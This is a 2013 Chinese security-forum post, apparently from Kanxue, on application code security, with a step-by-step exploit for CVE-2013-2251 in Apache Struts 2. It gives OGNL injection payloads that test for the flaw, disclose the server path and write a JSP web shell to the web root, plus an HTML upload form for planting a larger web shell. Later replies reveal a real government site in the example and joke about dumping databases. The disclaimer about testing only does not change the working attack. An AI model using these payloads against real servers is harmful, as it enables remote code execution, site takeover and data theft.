首页
社区
课程
招聘
[原创]业务安全系列(2-1)、应用代码安全(附Struts漏洞利用)
发表于: 2013-7-22 16:15 1562

[原创]业务安全系列(2-1)、应用代码安全(附Struts漏洞利用)

2013-7-22 16:15
1562
业务安全系列(2-1)、应用代码安全
zixian
  应用代码安全指的是业务系统代码实现的安全,目前大多数互联网业务系统都是以WEB形式为用户提供服务。那么比较常见的就是WEB层面的代码安全。主要分为系统自有代码及引用第三方代码。系统自有代码比较简单,是指根据业务需求自行开发的业务代码,打个比方如:QQ空间系统的功能实现代码主要是由腾讯公司开发的,那么这些代码就是系统代码,引用第三方代码呢,比如QQ空间的上传功能组件使用了第三方开源插件,不是由腾讯公司开发的,那就是引用第三方代码。
  对于系统自由代码的安全通常在开发过程中、上线前进行源代码安全审计,发现并修复代码缺陷。比较常见的WEB代码缺陷如:SQL注入、跨站脚本、命令注入、文件包含等等,可以参考OWASP的代码安全手册。
  对于引用的第三方代码的安全一般有两种情况,一种是引用的是开源代码,那么可以使用源码审计的方式进行安全审计。另一种是引用的非开源第三方组件,这部分组件是封装好的供开发者调用,开发者无法获得其源代码,仅能通过组件提供的开发接口调用相关功能函数,因此该组件的安全性主要依赖于组件提供方的安全水平。对于这部分的安全,一般采用黑盒测试进行安全漏洞排查,但是黑盒测试并不能完全覆盖所有安全隐患,并很大程度上取决与测试人员的经验和技术能力。因此我们建议在不是必须引入非开源第三方组件的情况下,尽量不要引用,尤其是来历不明的第三方组件。
  最近爆出的CVE-2013-2251 Apache Struts 2 高危漏洞就可以算作代码安全的一个例子,其原因主要是由于 Apache Struts 2 DefaultActionMapper在处理短路径重定向参数前缀"action:"/"redirect:"/"redirectAction:"时存在命令执行漏洞,由于对"action:"/"redirect:"/"redirectAction:"后的URL信息使用OGNL表达式处理,远程攻击者可以利用漏洞提交特殊URL可用于执行任意Java代码。
  下面看看如何测试这个漏洞吧。
  第一步判断漏洞是否存在:在http://xxx.com/xxx.action后面加“?redirect:%25{3*4}”(不带双引号),链接就变为了“http://xxx.com/xxx.action?redirect:%25{3*4}”,用IE提交后,如果链接跳转到了“http://xxx.com/12”说明redirect:%25{3*4}已经执行,证明漏洞存在。
  
  
  第二步利用该漏洞:首先是暴绝对路径,在action后面加“?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D”
  并提交。
  
提交
“?redirect:${ 
  %23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'), 
  %23p%3d(%23req.getRealPath(%22/%22)%2b%22zx.jsp%22).replaceAll("\\\\", "/"), 
  new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close() 
  }&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e”会在本地路径下写入一个名为zx.jsp的文件。写入的文件内容: 
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
  其实就是一个jsp的小马,需要客户端配合
  客户端代码如下,保存为123.html即可:
  <form action="http://网站链接/zx.jsp?f=cx.jsp" method="post">
  <textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
  <input type=submit value="提交">
  </form>
  
  打开后写入大马提交即可在元路径下生成cx.jsp的大马。
  
  当然获得大马后可以进行提权、安装rootkit等操作,但是我们的测试就到这里了,测试仅为检测系统的安全性,并不是以入侵为目的。
  QQ群:327131437(业务安全技术联盟),欢迎交流。
  

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (10)
雪    币: 122
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
抢个沙发!
2013-7-22 17:19
0
雪    币: 166
活跃值: (42)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
虽然不是特别懂,但还是阅读涨知识:)
2013-7-22 18:15
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
顶一个,这个漏洞爆出之夜,是多好黑X兴奋之夜啊,我好动同学都没睡觉
2013-7-23 09:02
0
雪    币: 23
活跃值: (70)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
脱裤拖到手软了
2013-7-23 09:21
0
雪    币: 23
活跃值: (70)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
楼主您这码没有打好啊
如果链接跳转到了“http://gdcourts.gov.cn/gdcourt/front/12
2013-7-23 09:24
0
雪    币: 6
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
嘘!~~~~
呵呵,被你发现啦
2013-7-23 09:51
0
雪    币: 1022
活跃值: (292)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
血雨腥风
2013-7-23 10:59
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
mark 看看
2013-7-25 14:29
0
雪    币: 312
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
struts2总是整出些漏洞,最近我们也在补漏
2013-7-30 14:09
0
雪    币: 140
活跃值: (70)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
不错,比较细致
2013-8-1 13:35
0
游客
登录 | 注册 方可回帖
返回
//